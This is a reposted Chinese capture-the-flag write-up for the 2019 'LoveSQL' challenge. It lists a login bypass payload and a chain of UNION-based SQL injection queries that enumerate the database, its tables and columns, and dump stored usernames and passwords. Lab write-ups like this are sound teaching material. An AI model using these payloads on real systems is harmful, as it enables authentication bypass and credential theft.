[极客大挑战 2019]LoveSQL

本文主要是介绍[极客大挑战 2019]LoveSQL，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

admin'#登录爆出admin用户密码，MD5解密无果。

常规方法一顿撸。

admin' order by 4#

报错，字段数为3。

-1' union select 1,2,3#

报出显示位。

-1' union select 1,database(),3#

报出数据库名。

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#

报表

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#

报列

-1' union select 1,(select group_concat(username,'~',password) from l0ve1ysq1),3#

报出字段，得到flag

这篇关于[极客大挑战 2019]LoveSQL的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！

Java教程